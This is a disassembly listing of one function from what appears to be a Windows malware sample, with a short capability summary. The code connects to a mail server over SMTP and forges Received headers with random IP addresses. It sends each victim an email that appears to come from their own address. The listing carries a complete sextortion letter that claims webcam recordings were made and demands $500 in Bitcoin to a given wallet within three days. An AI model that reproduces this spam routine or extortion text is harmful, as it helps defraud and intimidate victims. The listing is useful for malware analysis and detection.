Function at 0x4019e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x718
mov dword [ebp - 8], 0
push 0x40
mov eax, dword [ebp + 8]
push eax
call fcn.00402300
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4022d3
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 4]
push eax
call fcn.004010a0
add esp, 8
test eax, eax
je 0x4022d3
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
je 0x4022d3
cmp dword [ebp - 0x1c], 0xffffffff
je 0x4022d3
push 0x10
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x4022bd
mov dword [ebp - 0x8c], 1
push 4
lea eax, [ebp - 0x8c]
push eax
push 1
push 6
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
mov dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], 0
je 0x4022b1
cmp dword [ebp - 0x20], 8
je 0x4022b1
push 0x400
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401160
add esp, 0xc
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0
jne 0x401ad0
jmp 0x4022b1
mov ecx, dword [ebp - 0x90]
mov byte [ebp + ecx - 0x490], 0
lea edx, [ebp - 0x490]
push edx
call fcn.004011c0
add esp, 4
test eax, eax
jne 0x401af6
jmp 0x4022b1
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x718]
sub ecx, 1
mov dword [ebp - 0x718], ecx
cmp dword [ebp - 0x718], 6
ja case.0x401b21.1
mov edx, dword [ebp - 0x718]
jmp dword [edx*4 + 0x4022dc]
push str.ESMTP
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x401b60
push 0x408650
push str.EHLO__s_r_n
lea ecx, [ebp - 0x490]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x494], eax
jmp 0x401b80
push 0x408650
push str.HELO__s_r_n
lea edx, [ebp - 0x490]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x494], eax
mov eax, dword [ebp - 0x494]
push eax
lea ecx, [ebp - 0x490]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401baa
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
mov dword [ebp - 0x20], 3
jmp case.0x401b21.1
mov eax, dword [ebp + 8]
push eax
push str.__s_
lea ecx, [ebp - 0x88]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x88]
push edx
push str.MAIL_FROM:__s_r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x498], eax
mov ecx, dword [ebp - 0x498]
push ecx
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401c1b
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
mov dword [ebp - 0x20], 4
jmp case.0x401b21.1
mov ecx, dword [ebp + 8]
push ecx
push str.RCPT_TO:___s__r_n
lea edx, [ebp - 0x490]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x49c], eax
mov eax, dword [ebp - 0x49c]
push eax
lea ecx, [ebp - 0x490]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401c70
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
mov dword [ebp - 0x20], 5
jmp case.0x401b21.1
push 0xffffffffffffffff
push str.DATA_r_n
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401c9f
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
mov dword [ebp - 0x20], 6
jmp case.0x401b21.1
lea ecx, [ebp - 0x61c]
push ecx
push 5
call fcn.00401320
add esp, 8
push eax
push str._s.com
lea edx, [ebp - 0x508]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 1
lea eax, [ebp - 0x710]
push eax
push 0
call fcn.00401490
add esp, 0xc
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea ecx, [ebp - 0x690]
push ecx
push 0
call fcn.00401490
add esp, 0xc
lea edx, [ebp - 0x690]
push edx
lea eax, [ebp - 0x508]
push eax
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xfe
idiv ecx
add edx, 1
push edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xfe
idiv ecx
add edx, 1
push edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xfe
idiv ecx
add edx, 1
push edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xd2
idiv ecx
add edx, 1
push edx
lea edx, [ebp - 0x6a8]
push edx
push 7
call fcn.00401390
add esp, 8
push eax
push str.Received:_from__s____d._d._d._d___by__s_with_MailEnable_ESMTP___s_r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
mov dword [ebp - 0x714], eax
mov ecx, dword [ebp - 0x714]
push ecx
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401dac
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
lea ecx, [ebp - 0x710]
push ecx
lea edx, [ebp - 0x628]
push edx
push 3
call fcn.00401320
add esp, 8
push eax
lea eax, [ebp - 0x69c]
push eax
push 5
call fcn.00401320
add esp, 8
push eax
push str.Received:__qmail__s_invoked_by_uid__s____s_r_n
lea ecx, [ebp - 0x490]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
mov dword [ebp - 0x714], eax
mov edx, dword [ebp - 0x714]
push edx
lea eax, [ebp - 0x490]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401e1c
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
mov edx, dword [ebp + 8]
push edx
push str.From:__s_r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x714], eax
mov ecx, dword [ebp - 0x714]
push ecx
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401e65
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
mov ecx, dword [ebp + 8]
push ecx
push str.To:__s_r_n
lea edx, [ebp - 0x490]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x714], eax
mov eax, dword [ebp - 0x714]
push eax
lea ecx, [ebp - 0x490]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401eae
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
push str.YOUR_DEVICE_AND_EMAIL_HAS_BEEN_COMPROMISED_CHECK_THIS_MESSAGE_NOW_
push str.Subject:__s_r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x714], eax
mov ecx, dword [ebp - 0x714]
push ecx
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401ef8
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
lea ecx, [ebp - 0x690]
push ecx
push str.Date:__s_r_n
lea edx, [ebp - 0x490]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x714], eax
mov eax, dword [ebp - 0x714]
push eax
lea ecx, [ebp - 0x490]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401f44
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
lea eax, [ebp - 0x508]
push eax
lea ecx, [ebp - 0x628]
push ecx
push 6
call fcn.00401320
add esp, 8
push eax
lea edx, [ebp - 0x69c]
push edx
push 6
call fcn.00401320
add esp, 8
push eax
push str.Message_ID:___s._s__s__r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
mov dword [ebp - 0x714], eax
mov ecx, dword [ebp - 0x714]
push ecx
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401fb4
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
push 0xffffffffffffffff
push str.Mime_Version:_1.0_r_n
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401fd7
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
push 0xffffffffffffffff
push str.Content_type:_text_plain__r_n_r_n
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401ffa
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
push 0x104
push 0
lea eax, [ebp - 0x610]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push str.Hello_there__r_n_r_n
lea ecx, [ebp - 0x610]
push ecx
call sub.MSVCR90.dll_strcpy
add esp, 8
push str.Unfortunately__there_are_some_bad_news_for_you._r_n_r_n
lea edx, [ebp - 0x610]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.Some_time_ago_your_device_was_infected_with_my_private_trojan__R.A.T__Remote_Administration_Tool___if_you_want_to_find_out_more_about_it_simply_use_Google._r_n_r_n
lea eax, [ebp - 0x610]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push str.My_trojan_allowed_me_to_access_your_files__accounts_and_your_camera._r_n_r_n
lea ecx, [ebp - 0x610]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.Check_the_sender_of_this_email__I_have_sent_it_from_your_email_account._r_n_r_n
lea edx, [ebp - 0x610]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.To_make_sure_you_read_this_email__you_will_receive_it_multiple_times._r_n_r_n
lea eax, [ebp - 0x610]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push str.You_truly_enjoy_checking_out_porn_websites_and_watching_dirty_videos__while_having_a_lot_of_kinky_fun._r_n_r_n
lea ecx, [ebp - 0x610]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.I_RECORDED_YOU__through_your_camera__SATISFYING_YOURSELF__r_n_r_n
lea edx, [ebp - 0x610]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.After_that_I_removed_my_malware_to_not_leave_any_traces._r_n_r_n
lea eax, [ebp - 0x610]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push str.If_you_still_doubt_my_serious_intentions__it_only_takes_couple_mouse_clicks_to_share_the_video_of_you_with_your_friends__relatives__all_email_contacts__on_social_networks__the_darknet_and_to_publish_all_your_files._r_n_r_n
lea ecx, [ebp - 0x610]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.All_you_need_is__500_USD_in_Bitcoin__BTC__transfer_to_my_account._r_n_r_n
lea edx, [ebp - 0x610]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.After_the_transaction_is_successful__I_will_proceed_to_delete_everything._r_n_r_n
lea eax, [ebp - 0x610]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push 0xffffffffffffffff
lea ecx, [ebp - 0x610]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x402125
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
push 0x104
push 0
lea eax, [ebp - 0x610]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push str.Be_sure__I_keep_my_promises._r_n_r_n
lea ecx, [ebp - 0x610]
push ecx
call sub.MSVCR90.dll_strcpy
add esp, 8
push str.You_can_easily_buy_Bitcoin__BTC__here:_r_n_r_n
lea edx, [ebp - 0x610]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.https:__cex.io_buy_bitcoins_n
lea eax, [ebp - 0x610]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push str.https:__nexo.com_buy_crypto_bitcoin_btc_n
lea ecx, [ebp - 0x610]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.https:__bitpay.com_buy_bitcoin__cryptoBTC_n
lea edx, [ebp - 0x610]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.https:__paybis.com__n
lea eax, [ebp - 0x610]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push str.https:__invity.io_buy_crypto_r_n_r_n
lea ecx, [ebp - 0x610]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.Or_simply_google_other_exchanger._r_n_r_n
lea edx, [ebp - 0x610]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.After_that_send_the_Bitcoin__BTC__directly_to_my_wallet__or_install_the_free_software:_Atomicwallet__or:_Exodus_wallet__then_receive_and_send_to_mine._r_n_r_n
lea eax, [ebp - 0x610]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push str.My_Bitcoin__BTC__address_is:_1EV3qSyz4XKoZAWvB1eVSYqHyqCNRdv9i7_r_n_r_n
lea ecx, [ebp - 0x610]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.Yes__thats_how_the_address_looks_like__copy_and_paste_my_address__its__cAsE_sEnSEtiVE_._r_n_r_n
lea edx, [ebp - 0x610]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.You_are_given_not_more_than_3_days_after_you_have_opened_this_email._r_n_r_n
lea eax, [ebp - 0x610]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push str.As_I_got_access_to_this_email_account__I_will_know_if_this_email_has_already_been_read._r_n_r_n
lea ecx, [ebp - 0x610]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.Everything_will_be_carried_out_based_on_fairness._r_n_r_n
lea edx, [ebp - 0x610]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.An_advice_from_me__regularly_change_all_your_passwords_to_your_accounts_and_update_your_device_with_newest_security_patches._r_n._r_n
lea eax, [ebp - 0x610]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push 0xffffffffffffffff
lea ecx, [ebp - 0x610]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x402289
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
mov dword [ebp - 0x20], 7
jmp case.0x401b21.1
push 0xffffffffffffffff
push str.QUIT
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401120
add esp, 0xc
mov dword [ebp - 0x20], 8
jmp 0x401a90
xor ecx, ecx
cmp dword [ebp - 0x20], 8
sete cl
mov dword [ebp - 8], ecx
push 2
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.WS2_32.dll_shutdown]
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret